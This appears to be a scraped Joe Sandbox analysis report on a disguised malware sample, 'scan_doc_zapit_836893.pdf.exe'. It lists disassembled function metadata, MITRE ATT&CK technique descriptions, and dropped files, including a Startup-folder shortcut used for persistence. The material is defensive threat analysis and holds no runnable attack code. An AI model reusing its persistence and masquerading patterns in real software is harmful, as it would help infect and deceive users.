Snapshot File: hcaresult_11_2_a80000_Spy.jbxd

Similarity

API ID: ByteCharMultiWidehtonsinet_addr
String ID: 255.255.255.255
API String ID: 2496851823-2422070025
Opcode ID: 52c6edf44dbb129f211c6e683e772eb8c0137e67d8b23cc50613af3c831731cf
Instruction ID: 1d2006e2b28ff8a5f48d0841462359f07532efac5c45fba6559b15d7e0a5324d
Opcode Fuzzy Hash: 52c6edf44dbb129f211c6e683e772eb8c0137e67d8b23cc50613af3c831731cf
Instruction Fuzzy Hash: ED11A13520020AABDB10EFA4CD46FFEB364FF14321F10862AFA15972D1DF75A810C695

Function 00AD99BD Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 52windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00A91A36: _memmove.LIBCMT ref: 00A91A77

Part of subcall function 00ADB79A: GetClassNameW.USER32(?,?,000000FF), ref: 00ADB7BD

SendMessageW.USER32(?,000001A2,000000FF,?), ref: 00AD9A2B

Strings

ComboBox, xrefs: 00AD99CA
ListBox, xrefs: 00AD99F5

Memory Dump Source

Source File: 0000000B.00000002.3349944840.0000000000A81000.00000020.00000001.01000000.00000006.sdmp, Offset: 00A80000, based on PE: true

Associated: 0000000B.00000002.3349898037.0000000000A80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350025906.0000000000B10000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350025906.0000000000B36000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350230387.0000000000B40000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350256053.0000000000B49000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_a80000_Spy.jbxd

Similarity

API ID: ClassMessageNameSend_memmove
String ID: ComboBox$ListBox
API String ID: 372448540-1403004172
Opcode ID: 196aff72fee9106aa1fa5eb90e57420cfe28380c130c4f4cec9b6a629a62d403
Instruction ID: 4957d3fea0f4f3aa5b275365b9c7a07c560ea4b61a783f488110b58db88c5a54
Opcode Fuzzy Hash: 196aff72fee9106aa1fa5eb90e57420cfe28380c130c4f4cec9b6a629a62d403
Instruction Fuzzy Hash: 8001B572A52225AF8F14EBA4CD51CFE73B9AF56360B50061AF862573D1DE319C08D660

Function 00AE934C Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 51COMMON

Download Yara Rule

APIs

_memmove.LIBCMT ref: 00AE9367
__fread_nolock.LIBCMT ref: 00AE937C

Strings

EA06, xrefs: 00AE93AE

Memory Dump Source

Source File: 0000000B.00000002.3349944840.0000000000A81000.00000020.00000001.01000000.00000006.sdmp, Offset: 00A80000, based on PE: true

Associated: 0000000B.00000002.3349898037.0000000000A80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350025906.0000000000B10000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350025906.0000000000B36000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350230387.0000000000B40000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350256053.0000000000B49000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_a80000_Spy.jbxd

Similarity

API ID: __fread_nolock_memmove
String ID: EA06
API String ID: 1988441806-3962188686
Opcode ID: a4ea8cecd83256c8623b67b32c02df0c29e4871151125457727879bc0c095114
Instruction ID: 4169272f251dffef175ea2f88b0f66b227a55df957a7aecd364ab66f30bb8695
Opcode Fuzzy Hash: a4ea8cecd83256c8623b67b32c02df0c29e4871151125457727879bc0c095114
Instruction Fuzzy Hash: 7C01B972D042587EDB28C7A9C856EBE7BF89B16301F00419EF552D62C1E579A6049760

Function 00AD98B5 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 50windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00A91A36: _memmove.LIBCMT ref: 00A91A77

Part of subcall function 00ADB79A: GetClassNameW.USER32(?,?,000000FF), ref: 00ADB7BD

SendMessageW.USER32(?,00000180,00000000,?), ref: 00AD9923

Strings

ComboBox, xrefs: 00AD98C2
ListBox, xrefs: 00AD98ED

Memory Dump Source

Source File: 0000000B.00000002.3349944840.0000000000A81000.00000020.00000001.01000000.00000006.sdmp, Offset: 00A80000, based on PE: true

Associated: 0000000B.00000002.3349898037.0000000000A80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350025906.0000000000B10000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350025906.0000000000B36000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350230387.0000000000B40000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350256053.0000000000B49000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_a80000_Spy.jbxd

Similarity

API ID: ClassMessageNameSend_memmove
String ID: ComboBox$ListBox
API String ID: 372448540-1403004172
Opcode ID: 24a1654b42b0167b7e9b924835ae8836b747793dcaf43d1b2d459797f82b3ab5
Instruction ID: 6b19ad6b59de16fc9ed0c7237b01c8095f2a42fda2700a75326c73f23aa4705c
Opcode Fuzzy Hash: 24a1654b42b0167b7e9b924835ae8836b747793dcaf43d1b2d459797f82b3ab5
Instruction Fuzzy Hash: 33018476A92105ABCF14EBA0CA62EFF73EC9F15340F60011AB84263391DE119E0896B1

Function 00AD993A Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 49windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00A91A36: _memmove.LIBCMT ref: 00A91A77

Part of subcall function 00ADB79A: GetClassNameW.USER32(?,?,000000FF), ref: 00ADB7BD

SendMessageW.USER32(?,00000182,?,00000000), ref: 00AD99A6

Strings

ComboBox, xrefs: 00AD9947
ListBox, xrefs: 00AD9972

Memory Dump Source

Source File: 0000000B.00000002.3349944840.0000000000A81000.00000020.00000001.01000000.00000006.sdmp, Offset: 00A80000, based on PE: true

Associated: 0000000B.00000002.3349898037.0000000000A80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350025906.0000000000B10000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350025906.0000000000B36000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350230387.0000000000B40000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350256053.0000000000B49000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_a80000_Spy.jbxd

Similarity

API ID: ClassMessageNameSend_memmove
String ID: ComboBox$ListBox
API String ID: 372448540-1403004172
Opcode ID: 61472351fd5291e4467a53e9d2e0d43d60006f30889aa6caf2cb96f96cc683d4
Instruction ID: 8a419a67a53a5c0189c1ca10eb092c0187819c34a5918370e45419dd430f2e78
Opcode Fuzzy Hash: 61472351fd5291e4467a53e9d2e0d43d60006f30889aa6caf2cb96f96cc683d4
Instruction Fuzzy Hash: A601A772A42105ABCF14EBA4CA56EFF73FC9F11340F60001AB84663391DE159E089671

Function 00AE54E3 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 29COMMON

Download Yara Rule

APIs

GetClassNameW.USER32(?,?,00000100), ref: 00AE5501
_wcscmp.LIBCMT ref: 00AE5513

Strings

#32770, xrefs: 00AE550D

Memory Dump Source

Source File: 0000000B.00000002.3349944840.0000000000A81000.00000020.00000001.01000000.00000006.sdmp, Offset: 00A80000, based on PE: true

Associated: 0000000B.00000002.3349898037.0000000000A80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350025906.0000000000B10000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350025906.0000000000B36000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350230387.0000000000B40000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350256053.0000000000B49000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_a80000_Spy.jbxd

Similarity

API ID: ClassName_wcscmp
String ID: #32770
API String ID: 2292705959-463685578
Opcode ID: a2a1a420b7d694a721df51b8eb8d76d0fce8ef2f953fcbc533c852a95e4192bc
Instruction ID: 00579647d145e96a8c657f7c5f85c44bbbc131ed900762ecfa13e6b01f2cff01
Opcode Fuzzy Hash: a2a1a420b7d694a721df51b8eb8d76d0fce8ef2f953fcbc533c852a95e4192bc
Instruction Fuzzy Hash: 79E0D17790022917D710EB59AC45FABFBECEB55771F000157FD04D7051DA609A4587E0

Function 00AD8892 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 22windowCOMMON

Download Yara Rule

APIs

MessageBoxW.USER32(00000000,Error allocating memory.,AutoIt,00000010), ref: 00AD88A0

Part of subcall function 00AA3588: _doexit.LIBCMT ref: 00AA3592

Strings

Error allocating memory., xrefs: 00AD8899
AutoIt, xrefs: 00AD8894

Memory Dump Source

Source File: 0000000B.00000002.3349944840.0000000000A81000.00000020.00000001.01000000.00000006.sdmp, Offset: 00A80000, based on PE: true

Associated: 0000000B.00000002.3349898037.0000000000A80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350025906.0000000000B10000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350025906.0000000000B36000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350230387.0000000000B40000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350256053.0000000000B49000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_a80000_Spy.jbxd

Similarity

API ID: Message_doexit
String ID: AutoIt$Error allocating memory.
API String ID: 1993061046-4017498283
Opcode ID: 4a75cd0bef98e38f2ce77f0406156d0a84719cd67db780771911420e4628ee7f
Instruction ID: e11f1722949363fbdb474024671718a57092891df59959c498d97e674a0a7ff4
Opcode Fuzzy Hash: 4a75cd0bef98e38f2ce77f0406156d0a84719cd67db780771911420e4628ee7f
Instruction Fuzzy Hash: F7D02B3238031836C22433E86D0BFCA3A888B06B90F10802AFB08661D38ED685D042D5

Function 00ABB4F1 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 22COMMON

Download Yara Rule

APIs

Part of subcall function 00ABB544: _memset.LIBCMT ref: 00ABB551

Part of subcall function 00AA0B74: InitializeCriticalSectionAndSpinCount.KERNEL32(?,00000000,?,00ABB520,?,?,?,00A8100A), ref: 00AA0B79

IsDebuggerPresent.KERNEL32(?,?,?,00A8100A), ref: 00ABB524
OutputDebugStringW.KERNEL32(ERROR : Unable to initialize critical section in CAtlBaseModule,?,?,?,00A8100A), ref: 00ABB533

Strings

ERROR : Unable to initialize critical section in CAtlBaseModule, xrefs: 00ABB52E

Memory Dump Source

Source File: 0000000B.00000002.3349944840.0000000000A81000.00000020.00000001.01000000.00000006.sdmp, Offset: 00A80000, based on PE: true

Associated: 0000000B.00000002.3349898037.0000000000A80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350025906.0000000000B10000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350025906.0000000000B36000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350230387.0000000000B40000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350256053.0000000000B49000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_a80000_Spy.jbxd

Similarity

API ID: CountCriticalDebugDebuggerInitializeOutputPresentSectionSpinString_memset
String ID: ERROR : Unable to initialize critical section in CAtlBaseModule
API String ID: 3158253471-631824599
Opcode ID: c84a4f7806698804d33047d1e8f07f343507d4d1f6cf840835a60e9d9d6749a9
Instruction ID: e1df1ceb6e1433a89597c922871f40940a4c5e6f043e593278714e74eff40441
Opcode Fuzzy Hash: c84a4f7806698804d33047d1e8f07f343507d4d1f6cf840835a60e9d9d6749a9
Instruction Fuzzy Hash: A0E06D702503118FD330AF29E504B827AE4AF04744F108A6DE457C3341DFF5E544CBA2

Function 00AC0251 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 21COMMON

Download Yara Rule

APIs

GetSystemDirectoryW.KERNEL32(?), ref: 00AC0091

Part of subcall function 00AFC6D9: LoadLibraryA.KERNEL32(kernel32.dll,?,00AC027A,?), ref: 00AFC6E7
Part of subcall function 00AFC6D9: GetProcAddress.KERNEL32(00000000,GetSystemWow64DirectoryW), ref: 00AFC6F9

FreeLibrary.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,00000104), ref: 00AC0289

Strings

WIN_XPe, xrefs: 00AC00A4

Memory Dump Source

Source File: 0000000B.00000002.3349944840.0000000000A81000.00000020.00000001.01000000.00000006.sdmp, Offset: 00A80000, based on PE: true

Associated: 0000000B.00000002.3349898037.0000000000A80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350025906.0000000000B10000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350025906.0000000000B36000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350230387.0000000000B40000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350256053.0000000000B49000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_a80000_Spy.jbxd

Similarity

API ID: Library$AddressDirectoryFreeLoadProcSystem
String ID: WIN_XPe
API String ID: 582185067-3257408948
Opcode ID: 4075334bb272858fde70f89ab4dead9acdd09456a82c8cc8c3dca98a3751488b
Instruction ID: 0d8a93b157c2d88d768de5fc104f38e31fea317965bb656f77d7834271e51657
Opcode Fuzzy Hash: 4075334bb272858fde70f89ab4dead9acdd09456a82c8cc8c3dca98a3751488b
Instruction Fuzzy Hash: E9F03970804109DFCB15EBA0CA88FECBBB8AB08300F260089E106B31A0CBB04F80DF21

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may obtain and abuse credentials of existing accounts as a means of gaining Initial Access, Persistence, Privilege Escalation, or Defense Evasion. Compromised credentials may be used to bypass access controls placed on various resources on systems within the network and may even be used for persistent access to remote systems and externally available services, such as VPNs, Outlook Web Access, network devices, and remote desktop.Compromised credentials may also grant an adversary increased privilege to specific systems or access to restricted areas of the network. Adversaries may choose not to use malware or tools in conjunction with the legitimate access those credentials provide to make it harder to detect their presence.
Tactics:	Defense Evasion, Initial Access, Persistence, Privilege Escalation
Data Sources:	Logon Session: Logon Session Creation, Logon Session: Logon Session Metadata, User Account: User Account Authentication
Platforms:	Azure AD, Containers, Google Workspace, IaaS, Linux, macOS, Network, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Modification, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in an attempt to elevate privileges. Exploitation of a software vulnerability occurs when an adversary takes advantage of a programming error in a program, service, or within the operating system software or kernel itself to execute adversary-controlled code. Security constructs such as permission levels will often hinder access to information and use of certain techniques, so adversaries will likely need to perform privilege escalation to include use of software exploitation to circumvent those restrictions.
Tactics:	Privilege Escalation
Data Sources:	Driver: Driver Load, Process: Process Creation
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify access tokens to operate under a different user or system security context to perform actions and bypass access controls. Windows uses access tokens to determine the ownership of a running process. A user can manipulate access tokens to make a running process appear as though it is the child of a different process or belongs to someone other than the user that started the process. When this occurs, the process also takes on the security context associated with the new token.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Active Directory: Active Directory Object Modification, Command: Command Execution, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, User Account: User Account Metadata
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may delete files left behind by the actions of their intrusion activity. Malware, tools, or other non-native files dropped or created on a system by an adversary (ex: Ingress Tool Transfer ) may leave traces to indicate to what was done within a network and how. Removal of these files can occur during an intrusion, or as part of a post-intrusion process to minimize the adversary's footprint.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Deletion
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use methods of capturing user input to obtain credentials or collect information. During normal system usage, users often provide credentials to various different locations, such as login pages/portals or system dialog boxes. Input capture mechanisms may be transparent to the user (e.g. Credential API Hooking ) or rely on deceiving the user into providing input into what they believe to be a genuine service (e.g. Web Portal Capture ).
Tactics:	Collection, Credential Access
Data Sources:	Driver: Driver Load, File: File Modification, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Windows Registry: Windows Registry Key Modification
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of valid accounts, usernames, or email addresses on a system or within a compromised environment. This information can help adversaries determine which accounts exist, which can aid in follow-on behavior such as brute-forcing, spear-phishing attacks, or account takeovers (e.g., Valid Accounts ).
Tactics:	Discovery
Data Sources:	Command: Command Execution, File: File Access, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report scan_doc_zapit_836893.pdf.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Sigma Signatures

System Summary

Data Obfuscation

HIPS / PFW / Operating System Protection Evasion

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Spreading

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

URLs from Memory and Binaries

World Map of Contacted IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\NanoSec Cryptographics\NanoCipher.js

C:\Users\user\AppData\Local\NanoSec Cryptographics\NanoCipher.scr

C:\Users\user\AppData\Local\NanoSec Cryptographics\o

C:\Users\user\AppData\Local\Temp\185027\H

C:\Users\user\AppData\Local\Temp\185027\Spy.pif

C:\Users\user\AppData\Local\Temp\Already

C:\Users\user\AppData\Local\Temp\Determined

C:\Users\user\AppData\Local\Temp\Finnish

C:\Users\user\AppData\Local\Temp\Hint

C:\Users\user\AppData\Local\Temp\Martin

C:\Users\user\AppData\Local\Temp\Organizing

C:\Users\user\AppData\Local\Temp\Presentations

C:\Users\user\AppData\Local\Temp\Tim

C:\Users\user\AppData\Local\Temp\Tournaments

C:\Users\user\AppData\Local\Temp\Yes

C:\Users\user\AppData\Local\Temp\Yes.bat

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\NanoCipher.url

Windows Analysis Report
scan_doc_zapit_836893.pdf.exe

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using OS Credential Dumping . The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may collect data stored in the clipboard from users copying information within or between applications.
Tactics:	Collection
Data Sources:	Command: Command Execution, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
